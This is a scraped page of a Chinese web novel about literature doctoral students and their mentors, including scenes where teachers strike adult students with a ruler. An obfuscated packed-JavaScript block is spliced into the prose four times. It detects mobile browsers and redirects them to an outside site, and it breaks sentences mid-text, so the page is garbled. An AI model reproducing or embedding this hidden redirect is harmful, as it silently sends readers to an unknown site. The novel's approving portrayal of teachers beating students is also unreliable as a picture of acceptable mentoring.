$(''.inform'').remove(); $(''#content'').append('' 先生瞥了他一眼:“上来。” 于是庄遂平就屁颠屁颠地跟上去了。 老先生讲论文永远都是板着脸,优点是不说的,只挑写得差的地方讲,从结构到例证,从语言到格式,事无巨细,说得清清楚楚明明白白,这么听下来,仿佛文章写得一无是处。庄遂平看了看那个博士,果然是一脸灰败。 庄遂平又想起了自己在纪慎面前的样子,大概就是这样吧。 论文讲了近两个小时,老先生还是把学生送到门口,一回头,看见庄遂平讷讷地跟着,简直拿他没办法了。 “过来。” 庄遂平没应声,只是快步跟着回书房去了。 老先生坐在木沙发上,平复了一下心情,指指自己身前,道:“你过来,跪下。” 庄遂平愣了愣,却还是乖乖照做了,在老先生面前跪得直直的,一副认错的样子。 老先生伸手摸了摸孩子的脸,道:“有些事情你现在不明白,师爷今天就好好跟你说一次,你要记在心上。” “是。” “忆芸跟我说过,你是农村来的,没有读本科,直接考上了研究生。她也跟我说过,纪慎之前对你可能用错了方式,所以你对纪慎、对读博的事都有抗拒。但是师爷问你,到底是你自己的人生重要还是纪慎重要?” 庄遂平抬眼,怯怯地望着老先生,没有回答。 “你希望老师对你好,师爷对你好,都可以,但是你是大人了,是博士了,你真正要做的事情是什么呢?师爷当然可以宠你,什么都由着你,可是这样下去,几年之后你是什么样的人呢?遂平,真正的爱,不是要你变成阿猫阿狗,不是让你只会依赖别人的爱活下去。你也看到师爷批评自己的学生了,难道这是因为我恨他们吗?不是的,师爷正是因为爱他们,要他们成才,才这样做的呀!” “我知道,可是……”庄遂平控制不住自己,又想哭了。 老先生揉揉他的脑袋:“可是这很难做到,师爷都知道,但越是难,我们就越要做,做学术不是一件简单的事,它又辛苦,又枯燥,又繁琐,可是你做成以后,才会知道自己原来可以战胜一切。” 庄遂平点了点头。 “答应师爷,不去想那些事了,好好地专心地做研究,将来要比师爷还要厉害。” 庄遂平眼眶溢满了泪水,不由自主伸手环住了老先生的腰。老先生顺势抱着他,轻轻拍了拍他的背:“傻孩子。” 庄遂平再也忍不住,眼泪夺眶而出,靠在老先生身上,喃喃唤了一声:“师爷。” 131.训练 几日后,柏阅冬当真自己出门去了。拿绒布袋套上笛子,戴上墨镜,跟师父告了别,忐忑地下楼。学校里人少,他还不怎么怕,可一出校门,他就不自觉地抓紧了笛子,仿佛这支竹笛是他的防御武器。 在公交车站等车的时候,不安达到了顶点。他觉得好像所有人都在打量他,甚至有人一路跟着他,似乎是为了求证他墨镜底下是不是瞎掉的眼睛。他强迫自己不要低头,也不要慌张,不断告诉自己,我没有残疾,我能看见,我是个正常人…… 好容易等来了车,柏阅冬跟着人流上车,找到之前坐惯的位置,靠在窗边坐下来,忐忑又少了几分。只是这回坐在他身边的不是师父,而是一个四十几岁的女人,提着一个布包,像是要去买菜的样子。 柏阅冬不敢打量别人,赶紧扭头看向窗外了。 可是才看了一会,那种被人注视的感觉又回来了。他扭头看向车厢,车里坐满了人,还有不少人抓着栏杆或扶着旁边的座椅靠背站着。墨镜多少影响了他左眼的清晰度,可是他还是在人群里瞥见了熟悉的身影。 周先生自然是不放心小孩一个人走那么远的,小孩出门之后,他就在阳台上等着,见到小孩离开那栋楼,便换鞋出门,远远地跟着。在公交车站等车时,他特地站得远远的,等所有人都上了车,才慢悠悠地跟上去,抓着头顶的拉环站好。 有人看他年纪大了,站起来就要给他让座,他摆了摆手,拒绝了,还特地躲在其他站立乘客的身前,偷偷地看着小孩。 可是下了车,沿路去到成师傅那里,却是把小孩跟丢了。成师傅的大厅里,只有成师傅和几个年轻人在摆弄各种乐器,根本没见柏阅冬的影子。 周先生正要开口询问,却被从旁边窜出的身影一扑,歪了歪才站直。 “我抓到师父了!”柏阅冬笑着说,开心地摘了墨镜,“师父偷偷跟着我!” 周先生长长吐出一口气,又好气又好笑,抓着他就扬起巴掌“啪啪啪”拍了几下屁股:“逗师父玩儿?” 柏阅冬捂着屁股,却还是笑:“是师父先跟着我!” 周先生看着他眼里的笑意,突然想,他真的可以自己出门了。 似乎是察觉到了自己的失态,周先生忙推着小孩过去:“快去,成师傅等你了。” “那师父去给我买故事大王!” “好。” 柏阅冬挥挥手,往成师傅那里去了。他想,刚刚师父的眼眶红了。 此后,柏阅冬照样明面上一个人出门,可他也知道师父偷偷跟着他。一开始是跟着去,又跟着回来,两三次过后,便只跟过去,让他一个人回来,再后来,师父就只跟到下公车,让他自己从公交车站走到成师傅那里,再后来,师父就只跟到校门外的公交车站,再后来,只送到校门口。柏阅冬走在熟悉的路上,越来越自然,越来越放松,突然发现师父不见的时候甚至敢大胆地四处扫视,寻找师父的身影。 而远方的庄遂平几乎一个暑假都没有出门,整天窝在书房里翻书。以前觉得纪慎逼得紧,见识了师爷的手段,才知道纪慎根本不算什么。 “清朝贰臣诗人有多少?” “嗯,我毕业论文里写了九个。” “肯定不止,”纪老先生大手一挥,指指书架上占了好几排的《清史稿》,“翻,除了这个,还有《清史列传》,现在还没有点校本,先翻古籍,贰臣传重点看,把你看到的所有人都列出来。” “这也太多了吧?”庄遂平忍不住嘀咕,但还是乖乖去找书了。 纪老先生笑了笑:“这才开始呢!这套书你要有,让纪慎给你买,要么你去找纪沅,他们出版社的书,让他送你一套。” 这么随便吗?“可以吗?” “可以,沅沅不计较这些,你问就是了。” 庄遂平点点头,专心翻书去了。因为要记人,他便拿了个本子,看到有贰臣经历的善诗文的人名就记下来,一天过去才记了几个他没见过的名字,脖子都快断了,结果晚上又被批了一顿。 “这么记没有用。”纪老先生从抽屉里拿出一摞空白硬卡片,“一张卡片写一个人,姓名字号,生卒年,哪里人,官职,交游,人生经历,是否有诗集留存。一个小时可以做一张卡片,最多一周可以做完了。” 庄遂平看着那一沓卡片,一个头两个大:“师爷,有时候一个小时我都找不到一个人。” “那说明你的方向错了。贰臣仕明又仕清,在时间上有很大的限制,可以极大缩小寻找的范围。另外,要注意看交游,交游的人会形成圈子,很有可能……” “贰臣的朋友也是贰臣。” “嗯,有点开窍了,做吧。” 有了方向,庄遂平每天都有产出,正如纪老先生所言,一周之后,他写满的卡片就厚厚一沓,但还是免不了被批。 “文献看了,记了,但你引用的时候不能没有来源。”纪老先生指着他的卡片道,“每个人的资料,你从哪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可是,”庄遂平为严先生抱不平,“可是巍思就很好啊!”说完还腹诽,您不也把纪慎逼走了? “那是刘巍思本来就好。我以前见过他一次,他居然是个遗腹子,也是农村来的,但是他很有教养,可知他母亲在他身上花了很多功夫。你们严老师也算有运气,有了刘巍思,他的名声就会永远流传下去。”纪老先生说着,忽然笑了笑,“你也很好,纪慎有你,是他的福分。” 132.劝说 或快或慢地结束了暑假,庄遂平带着他的一大包资料回了学校。回校第一件事是去办公室见纪慎。对于这件事,庄遂平心情相当复杂,暑假期间师爷不断给他洗脑,已经让他对纪慎的执念淡了很多,之前跟纪慎通电话,也让他十分动容,在师爷那里学习这么久,满满的成果也很想让纪慎知道,总而言之,他对纪慎是既怕又盼,既羞又急。 从宿舍前往办公室的路上,庄遂平一直在打腹稿,他想表现得成熟一点,不想太冷淡,可也不想太主动,完全把握不了。 而且,一切的心理建设都在他推开那扇门见到纪慎时轰然倒塌。 他甚至没法跟纪慎对视,微微低下了头,小声道:“我回来了。” “进来吧,门关上。” “咔哒”一声关了门,庄遂平走到办公桌前,把自己的一堆资料放在桌上,却没有主动说话。 纪慎见他还全须全尾的,松了一口气,手往下一压:“坐吧。” 庄遂平默默坐下了。 纪慎捻了一张卡片来看:“你师爷教你的?” “嗯。” 纪慎随便看了几张,眉头却蹙了起来。庄遂平很紧张,两手放在身前相互抠着,揣测到底是哪里又做得不好了,是写错字了还是记得不够简洁?是这样做不对还是用错了卡片? “你所有的卡片是从两套文献里摘出来的,完全可以分成两部分,这样就不用每张卡片都写文献来源了,只需要写卷数和页码。”纪慎说着,从抽屉里拿出一个圆规,用圆规尖在一张卡片的左上角戳了一个小洞,“就这样,把相同文献来源的资料一张张串起来。” 庄遂平听到一半时就恍然大悟,心想自己也太笨了。可心里想是一回事,当看见纪慎那略带嫌弃的目光时,他还是有点生气。 “回去自己弄,笨死了。” 庄遂平的火气全被激起来了,反驳道:“您也没有教过我,我本来就不会!” 纪慎“啧”了一声,奇了怪了,怎么他以前骂刘巍思笨,刘巍思就没这种反应,庄遂平是怎么的?不给别人说他笨? 庄遂平悄悄翻了个白眼,梗着脖子道:“师爷说,我要有一套《清史稿》。” “谁说?” “师爷!” 这简直是庄遂平在这个办公室里喊出的音量最大的话。 纪慎被他闹得一哽,都不知道怎么接,憋了好一会儿才道:“我给你买,但是你们那个宿舍放不下,你搬到家里住吧。” “那不用了,师爷说我可以找纪沅。” 纪慎快要被气死了:“这不是找谁的问题!宿舍就是放不下!你以为可以放,但以后你的书和资料越来越多,怎么办?你才刚开始读博士你知不知道?” 庄遂平没话回了。纪慎看着他一副受尽了委屈的模样,简直没办法,只得放软了声音:“你以前不是总羡慕刘巍思可以住严老师家里吗?忆芸也一直想让你回去住,纪沅不在她身边,她觉得很孤单,你住在家里,有人陪她说说话,她会高兴很多。” 庄遂平想,他怎么每次都拿忆芸阿姨出来说事?是真的对忆芸阿姨很好,还是只是拿忆芸阿姨当挡箭牌? “算了,你住宿舍也行,我给你买书放家里,你需要用书就去一趟。” 庄遂平抿着唇点了点头。 正式开学的前一晚,柏阅冬在晚饭时忽然道:“师父,我等会想去看我师父。” 师父太多,周先生怔了一下,柏阅冬立刻解释:“就是秦老师。” 没什么不能的,周先生点点头,问:“要不要师父……” “不用,师父在家里歇着吧,我可以自己去。” 周先生点点头:“好。” 柏阅冬到底是在暑假时独自出门多回了,现在对于自己出门这件事已经慢慢习惯了,换了鞋,戴上墨镜,转身就出门,相当干净利落。 只是,即使是晚上,他还是习惯戴着墨镜。 此时秦昭阳正在家里和妻子吃完饭,两个人冷冷清清的,忽然听到敲门声,彼此对视一眼,都是惊讶无比:谁会在这个时候来找他们? 妻子起身去开门,门一开就震惊道:“阅冬?” 秦昭阳一听,人都石化了,缓了两秒才赶紧起身去看。柏阅冬进了门,摘下墨镜:“师母,师父。” 秦昭阳忙快步上前,两手攀着他的肩膀,上下打量,话都说不出来。师母也高兴得很,关了门,拉着小孩问:“吃饭没有?跟师父师母一块儿吃!” “师母,我吃过了。” 秦昭阳简直不敢相信,往门口的方向看了看,颤声问:“你一个人来的?” 柏阅冬点了点头。 “你、你可以自己出门了?” 柏阅冬想起在这里的时日,有些愧疚地点了点头。 秦昭阳慢慢红了眼眶:“周先生他,他有办法。” “师——周老师对我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15393017|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很好。” 秦昭阳带他到客厅坐了,饭也顾不上吃,只关心小孩的情况:“你怎么突然来了?是不是出什么事了?” 柏阅冬慢慢抱住师父,脑袋靠在师父肩上,说:“我没事,我很好,我就是想来看看您和师母。” 可是小孩越是这样说,秦昭阳就越担心,问:“是不是周先生对你太严厉了?我上次看到……他是不是打过你?” “师父,不是您想的那样,他是打过我,但是,只有几次,而且他对我很好,我真的没事,我已经可以自己出门了,您知道我的,要是受了委屈,肯定要告诉别人的。” 秦昭阳稍稍放了心,追问道:“明天就开学了,你们第二周就要上课,你、你能去上课吗?” 师父不提,他都忘了这茬了,此时这个问题一下子冒出来,直接截断了他的脑电波:“我、我还不知道。” “如果实在不行,师父去帮你问问学院可以怎么处理,你别怕。” 柏阅冬点了点头,又道:“师父,其实我来,确实有事要和您说。” “你说。” 柏阅冬抬起脑袋,看着师父,缓缓从沙发上滑了下去,跪在秦昭阳脚边:“师父,已经是新的学年了,您——”柏阅冬抬头看着他,“再收学生吧。” 秦昭阳一下笑出了声:“哪是我想收就收的?早都安排好老师们的招生名额了。” “今年不行,明年总可以的,总之,再继续收学生吧,收几个师弟师妹,让他们喊我大师兄。” 秦昭阳眼眶再次红了,比前一次更红得厉害,就像那段时间没日没夜地照看柏阅冬时熬出的那样。他看着小孩,故作轻松:“收你一个,师父白了半边头发,再收一个,另外一边也要白完了。师父不想这么辛苦了,有你一个就够了。” “师父……” “师父能收到你这么个学生,不知道多幸运,但是,”眼泪还是淌了下来,“但是,师父没有保护好你……” “不是的,师父,您是最好的师父,我能遇到师父,也很幸运。”柏阅冬也跟着哭了,“我不想师父因为我就不带学生了。” “什么因为你?少往自己脸上贴金!”秦昭阳替他擦了眼泪,“不带学生不知道多轻松。你以为谁都想带学生?你纪老师天天都嚷着累死了,他还羡慕我呢!” 柏阅冬破涕为笑,没有再劝。师父打定了主意的事情,他说一次就够了,再说,也只是平添烦恼。 133.观点 柏阅冬从秦昭阳家回来,进了门刚要喊师父,就看见师父在打电话,于是便闭了嘴,安安静静地换鞋。 周先生家的电话挂在客厅和过道拐角的墙面上,他就站在那个拐角,握着听筒道:“职位可以保留,但是今年还用不上。嗯,好,没有别的了,嗯,再见。” “师父,”柏阅冬走到客厅,问,“是有什么事吗?” “没有什么事,”周先生坐回蒲团上,给他倒了一杯茶,“这个学年你有两门公共课,两门专业课,一门是严煦和的论文写作,一门是我的学术前沿,除了我那一门,剩下的都给你申请明年再修。” 柏阅冬再次为师父的运筹帷幄所拜倒,他经秦昭阳提醒才想起来的事,师父竟然都安排好了。 “那您的那门课,我……” “你不用去,我在家里给你上。” “那我要准备什么吗?” “不用,我们也不上课,师父期末给你打满分。” “啊?”柏阅冬理解不了。 周先生笑了笑:“没事,你照常就好,该干什么就干什么,不必心急。” “好。” 柏阅冬不知道怎么的,完全相信师父的安排,反正住在这里这么久,师父安排的事从没出过差错的。 “那刚刚说什么职位?” “学校要安排一个年轻老师当我的助理。” “是干什么的?” “怕我要做研究做项目,但是没有人手,也怕我七老八十生活不能自理,不过如果真有这么一个年轻老师在身边,那恐怕就不仅仅是助理了。” 帮忙做研究,照顾生活琐事,名义上的助理,实际意义上的入门弟子。 柏阅冬听懂了师父的言外之意,点了点头,没有说话。 周先生这个学期正式成为学校的教授,带学生,授课,学校和学院对这件事很上心,就连刘巍思都被严先生耳提面命,一定要好好上课,不许胡闹,不许惹老先生生气。 刘巍思颇不服气,自从在学校读书以来,他就是最得老师欢心的学生,不管什么个性的老师,总不会讨厌他的,现在居然来了这么一个老师,人人都担心他不高兴。 “周先生很小气吗?动不动就生气?” 严先生真怕他去上课就这么跟周先生说话:“不是这么说,但是咱们也不了解周先生,万一说了人家不爱听的话,以后也不好挽回,你听话,谨慎一点总没错的。” 刘巍思想起暑假时在校园里见到周先生和阅冬,那位老先生的确不苟言笑,但是阅冬似乎对他很依赖:“不知道他对阅冬凶不凶。” “我听童院讲,周先生在国外有很多学生,桃李满天下,但是没有一个能养在身边的,说好听点是四处开花,说难听点是留不住人,大约也还没碰到他心仪的弟子吧。” 严先生这么讲也很委婉了,说白了就是和学生不亲近,没有感情,为人之淡漠可想而知。 刘巍思叹了一声气,道:“我得告诉遂平,让他做好准备。” 于是乎,做好准备的两人就这么迎来了周先生的第一节课。学院将周先生的课安排在专业会议室上,位置显眼,环境好,让人挑不出毛病。 这日上午,不大的专业会议室里,长方形木桌,周先生坐在上首,刘巍思和庄遂平分坐左右。也许是第一次上课学生免不了对老师感到好奇,也许是那把戒尺就那么大大方方地放在桌上很难不引人注目,总之刘巍思和庄遂平都是一眼看到了那东西,随后对视一眼,一切尽在不言中。 ——果然不是很好亲近的样子。 ——第一节课就下马威? 周先生对他们两个的眼神交流不置可否,也无意知道他们如何看待自己,见两人都坐下,便不紧不慢地开口:“我叫周懋恭,你们叫我周老师就好,我给你们上国内外学术前沿这门课。你们都是博士了,应该知道做研究跟中学、本科时候读书不一样。知识固然很重要,但书本上的东西只要花时间,都是可以变成自己的,但观点不行。” 好硬的开头啊,刘巍思腹诽,一点也不像我老师娓娓道来。 “做研究,最重要的是观点,你自己的观点。形成观点,表述观点,论证观点,就是你们最重要的任务。” 雷厉风行,让庄遂平再次感受到了压力,就像刚来读研时上纪慎的课一样。 偏偏怕什么来什么,庄遂平刚开始紧张,周先生的目光就扫过来了:“你叫什么名字?” 指尖不自觉地抓紧了笔,庄遂平怯怯地对上那比纪慎更具有压迫性的视线:“周老师好,我叫庄遂平。” “你的研究方向?” “清初诗歌。” “好,我问你,你认为清初的诗人里,写得最好的是谁?” “呃……”庄遂平开始回忆他看过的书和论文,“一般来说,学界对钱谦益、吴伟业……” “我不问学界 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15400131|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我问你,你听不明白我的问题吗?”周先生果断又坚决地卡住了他接下来可能的阐述,“我需要的不是研究综述,是你的观点。再说。” 庄遂平口干舌燥,甚至奇异地感到自己的毛孔在冒汗:“我……清初有几个比较出名的诗人,首先是钱谦益……” “砰砰”两声,是周先生拿起戒尺在桌面上敲了两下:“你过来。” 庄遂平不可置信地看了老师一眼,又看看对面的同学,刘巍思同样一脸震惊,都不知道该说什么好。 庄遂平没有办法,在周先生的注视下,硬着头皮起身,慢慢走了过去。 要挨打吗?打屁股?脱裤子?可是,这是周老师啊!而且,巍思还在这里。 “手,伸出来,两边,摊平,手指并拢。” 庄遂平反应明显慢了两拍,周先生说完并拢,他才颤抖着摊开掌心,粉色的手掌往前伸了一点,手指抖得并不拢。 周先生却没有苛责那么多,扬起戒尺,“啪”一声抽了下去,庄遂平猝不及防,痛呼一声:“啊!”差点连膝盖都打弯了。 “重复我的问题。” 庄遂平脸庞发烫,手心也发烫,从前纪慎都是打他的屁股,还没有打过手,没想到打手比打屁股还要厉害些,厚实的戒尺仿佛直接打在他的骨头上,硬生生地疼。 可是他这会却只能强忍着疼痛,颤声回答:“你认为清初的诗人里,写得最好的是谁?” “啪!”又是一尺,结结实实抽上来,两手掌心横亘一道两三指宽的尺痕,鲜红异常。 “回答我的问题。” 庄遂平不过怔了两秒,那戒尺便急风骤雨一般抽落,“啪啪啪”,越抽越急,逼着他把答案说出来。可是在疼痛之下他哪里还能思考?惨叫了几声之后只能脱口而出一个名字:“钱谦益!” 戒尺立刻停了,点点桌面:“手,撑在这里。” 庄遂平下意识向刘巍思投去求救的目光,可是刘巍思也无能为力,双眸中只有同情和担忧,没有准备阻止的意思。他看了看自己微微红肿的掌心,终是咬牙,手掌向下平放在桌面上。 身体的重量一压上来,手心就疼得要飙泪,可他只能死死忍着,绷紧了眼眶,不让那一层薄泪流下来。 戒尺贴在他的臀上,周先生冷淡的声音传过来:“用最快的速度回答我的问题,不然你的屁股就会受苦,知道吗?” 庄遂平颤声道:“知道了。” 134.伤药 刚开学,纪慎工作很多,每天忙得不可开交。可饶是如此,他还是莫名其妙在写本学期的工作安排时突然愣了一下——今天似乎是周先生第一次上课。 纪慎手里的笔松开又握紧,最后还是选择放下手里的纸笔,起身出去了。 他的办公室和专业会议室在同一层,但有点距离,远远的看见会议室的标牌,便刻意地放轻了脚步。 只偷偷看一眼。 可他还没到会议室门口,就听见了隐隐约约的“噼啪”声,不大真切,又往前走了几步。 会议室的门半开着,纪慎不敢走太近,顺着门半敞的方向望进去,只能看见长桌一角,连个人影都看不着,但是那不甚清晰的“噼啪”声却更响亮了。 紧接着传来的是庄遂平带着急促呼吸的声音:“呃……《后秋兴》……是《后秋兴》……” 纪慎蓦然颤了一下,有点想进去,但还是克制住了。 周先生的声音也传了出来,很平静:“哪一首写得最好?” “第一首!” “好在哪里?” 纪慎听糊涂了,庄遂平研究的是吴伟业呀,怎么说到钱谦益去了?可他还没想明白,那“啪啪”声再次响起,中间还夹杂着庄遂平隐忍的痛呼。纪慎倒吸一口凉气,偷偷骂道怎么这样笨?第一节课就挨打,笨死算了! 这次只打了三十下,可庄遂平已经疼得双腿打颤了。他之前已经很久不挨打,突然受了这样的疼痛,简直痛不欲生。待周先生放下戒尺,他两边脸颊都挂上了泪珠。 周先生淡淡地看了他一眼:“坐回去想,现在,到你。” 被点到的刘巍思浑身一抖:“周、周老师,我不用吧,我可以回答问题的。” “我说,到你。” 庄遂平已经低着头坐回位置上了,刘巍思只得硬着头皮起身,走到周先生身边。 刘巍思的背影刚好出现在纪慎的视线范围里,纪慎大概知道了他们三人的位置,但知道也没什么办法,无奈地摇摇头,转身回去了。 周先生的戒尺在刘巍思大腿上敲了敲:“他刚刚在乱说,但我也不计较了,你不能乱说,否则……” 后果早已不言自明。 刘巍思咽下一口唾沫,点了点头。 “你的研究对象。” “陶渊明。” 周先生嘴角竟微微勾了一下,这个小孩反应快很多。 “他哪一首诗写得最好?” 刘巍思眼珠子一转,眼看着戒尺就要落下,立马大喊:“《停云》!” 戒尺轻飘飘地收了回去,刘巍思长长吐出一口气,心想要问我好在哪里了,还好我早有准备。 可是周先生却只是接着问:“这首诗哪个字用得最好?” “啊?” “啪!” “啊!别打!”刘巍思捂着屁股躲开一步,“是抚!抚!” “为什么?” 屁股上火辣辣的疼,可刘巍思甚至没时间顾影自怜,赶紧道:“因为不管从词义还是音韵上说,抚都传递出一种轻柔平和的感觉,那就是《停云》整首诗甚至是陶渊明这个人的写照。只有陶渊明喝酒用抚这个字才是合适的,李白喝酒就不会抚,对吧?” 周先生冷笑一声:“你问我对吧?” “不不不,就是对的!就是这样的!” 周先生似乎对他的表现还算满意,戒尺往桌上一扔,让他回去了。刘巍思自觉逃过一劫,肩膀都松垮了下来。 周先生看着这两个学生,问了一个风马牛不相及的问题:“你们知道什么时候博士毕业吗?” “三年之后啊!”刘巍思想当然地回答。 “错!”周先生冷冷地瞟了他一眼,“这个时间不是固定的。” 那意思是会提前或延迟毕业? “当你们觉得没有人比你们更懂自己的研究内容的时候,博士就毕业了。” 庄遂平难以置信地看向周先生,好像没听懂这句话。刘巍思也有点糊涂,问:“那老师……” “到那个时候,老师们也不会比你们更懂。”周先生和庄遂平对视着,目光里多了一份温和,“要相信自己是对的。” 刘巍思想,国外回来的老师果然不太一样,这些话他以前很少听到的,想想也很有道理,要是他不打人就好了。 下课后,原本也是要走了,可刘巍思却突然想起什么,喊住了周先生:“周老师,我想问您一个问题。” “问。” “您、您也这样对阅冬吗?”说着,眼睛不自觉地看向了周先生手里的戒尺。 周先生笑了笑:“操心你自己吧。” 刘巍思一哽,有点恼,可也没有闹脾气,只说:“如果您要打阅冬,我是说如果,您轻点打,他很娇气的。”说完低下了头,好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405871|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像自己提了什么很让人为难的要求似的。 周先生没有说话,站了一会儿,走出去了。 刘巍思叹了声气,正准备跟庄遂平一块儿上图书馆去,可没想到才走出会议室一会儿,庄遂平就被纪老师截走了。 刘巍思又叹了声气,垂头丧气地走了。 庄遂平被带到纪慎办公室去了,一路上跟着纪慎,总觉得纪慎很焦躁,心想,总不能又是他的错吧? 一进办公室,纪慎便怒气汹汹:“你上课上成什么鬼样子啊?隔老远都听到你鬼哭狼嚎!” 庄遂平脸“唰”一下白了,纪慎知道他上课的情况?他怎么知道的?难道真的喊得很远都听得见? 纪慎见他这副样子,更加火大,从桌上抓了个东西往他手里塞:“自己回去用!” “嘶——”手心本来不疼了,可纪慎这么一扭一推的,痛感又复苏了。庄遂平忍痛摊着手,看见手里一瓶药,不大清楚是做什么的。 纪慎一看他手上也有伤,一时害怕弄疼了他,又后悔自己太粗暴,可转念一想,他什么时候手上也挨打了?这么笨吗? “拿回去吧。” 庄遂平看见药瓶上面的小字,消肿化瘀的,可是他没感觉到关心,只觉得丢人,小心拿着放回桌上了:“不用了。” 纪慎胸口堵得慌:“让你拿你就拿!” 庄遂平站着没有动。 纪慎又拿他没办法了,还是软了语气:“书已经给你买回来了,放在你那个房间里,你……” “那是纪沅的房间。”庄遂平忽然打断了他。 “遂平,纪沅在外面有房子住。他有工作,有人脉,有自己的生活,除了我,他还有忆芸,有爷爷奶奶,有各种各样的朋友。他不缺我,也不缺那个房间。”纪慎还是拿起那瓶上药,慢慢放到了他手里,“但是遂平,你……你没有那些,也不应该……” 不应该把我往外推。 “回去上药吧。” 庄遂平握住圆圆的药瓶,点点头,转身出去了。 九月一来,酷暑就衰退了许多。周先生走在校道上,已没有暑假时那么炎热难耐。经过校园里的小商店,发现买冰棍和汽水的也少了很多。本来已经走过去了,可不知怎么的,又折了回来,走进商店里买了一根棒冰。 周先生不知想到什么,竟笑得开怀,一手提着戒尺,一手提着棒冰回家去了。 135.流言 周先生回到家,一打开门竟不见人影,疑惑地换了鞋子走进屋里,才看到小孩竟趴在蒲团下面的席子上睡着了,枕着一本绿色的故事大王。 周先生摇摇头,单膝跪下来,轻轻伸手贴住小孩的侧腰,食指中指像弹琴一样来回按了两下小孩的痒痒肉,柏阅冬果真哼唧两声,迷迷糊糊地醒了。 “师父。”柏阅冬口齿不清地嘟囔了一声,揉揉眼睛,撑着席子坐了起来。 周先生一并坐下来,挺着腰,随时准备着让小孩往自己身上倒:“怎么睡在这里了?等会要着凉了。” 柏阅冬明显是迷糊的,说话都说不清:“有席子。” 周先生拿棒冰碰了一下小孩的脸:“师父给你买了棒冰,现在吃吗?不吃给你放电冰箱。” “吃。”柏阅冬笑了笑,一把抓过来,胡乱拆了,从中间折断,一手拿一半,左吸吸右吸吸,水果味的棒冰,酸酸甜甜。 师父是不吃这些东西的,都是买给他吃的。 柏阅冬吸了一会儿,才发现师父腿边放着一柄戒尺,是他最开始来师父家挨过的那柄。他抬头问:“师父拿戒尺去上课了,打人了吗?” 周先生拨拨小孩的额发,似乎有些长了:“打了一个。” “遂平?” “嗯,一猜就中。” 柏阅冬开心地仰起头来,“咯咯”地笑:“巍思很机灵的,像泥鳅一样,才不会让人打到。” 周先生搂着小孩,心想,谁有你机灵? “阅冬。” “嗯?”柏阅冬干脆倒在师父腿上,仰面看着他。 “你的眼睛,有没有复查过?” 柏阅冬应激似的,笑容一下子消失了。周先生抓着小孩的手,大拇指在他手腕上轻轻摩挲着,安抚他的情绪:“师父陪你去看看,好不好?” 手里的棒冰一点一点化了,像缩小的金箍棒,泡在橙色的冰水里。柏阅冬沉默了好久,终于点了点头。 这个周末,周先生带着柏阅冬去医院复查,回来的路上又去剪了个头发。本要剪得更短些的,柏阅冬说什么也不肯,一直嚷着不好看了,周先生笑道:“剪短一点,就可以不那么频繁地来剪头发。” “可是不好看了!”柏阅冬喘着粗气,就快准备撸起袖子誓死捍卫他的发型了。 周先生心想,你都不出门,管什么好看不好看。但是嘴上肯定不能这么说,只得告诉师傅,让师傅照着孩子的要求剪。 柏阅冬还算愉快地得到了自己想要的发型。 另一头,刘巍思跑出去疯玩一天,大晚上才回到家,一进门就被严先生厉声呵斥:“刘巍思!你都不着家了是吧?!” 刘巍思本来开开心心,听了这话立刻缩起脖子装鹌鹑:“老师对不起,我、我等公车好久都没等到,不能怪我。” “你上哪里去了?还公车好久都没等到,哪里的公车这么难等?” “大师兄那里的!他叫我去的!”刘巍思立刻转移罪名,还伸出一个手指,戳戳电话的方向,“不信您打电话问。” 严先生瞟了他一眼,选择了相信他,毕竟这死小孩是不敢拿大师兄撒谎的,否则他大师兄第一个打死他。只是还是气不过,仍旧有些责怪:“去玩就不知道早点回来?!非要老师担心?!” 刘巍思看老师真有点生气了,忙小跑过去,蹲在老师脚边,摇着老师的膝盖装乖巧:“老师,我错了,都怪我贪玩,我下次不去了,大师兄怎么叫我我都不去了!” “就会说!”严先生伸手撵了一下他的额头,“吃过饭没有?” 刘巍思挠挠头:“嘿嘿,吃了,大师兄请我在外面吃的。” “你大师兄最近怎么样?” “大师兄开了一门楚辞精读的选修课,还挺多人选的,那个叫曹毅的学生说想研究九歌,让大师兄指导他写毕业论文呢!” 严先生想了想:“那孩子不是才大三吗?” “对啊,预定大师兄,他很尊敬也很崇拜大师兄,就跟我对老师一样。”说着歪着脑袋看向老师,像个小孩一样笑。 严先生被他逗笑了:“就会哄老师开心!” 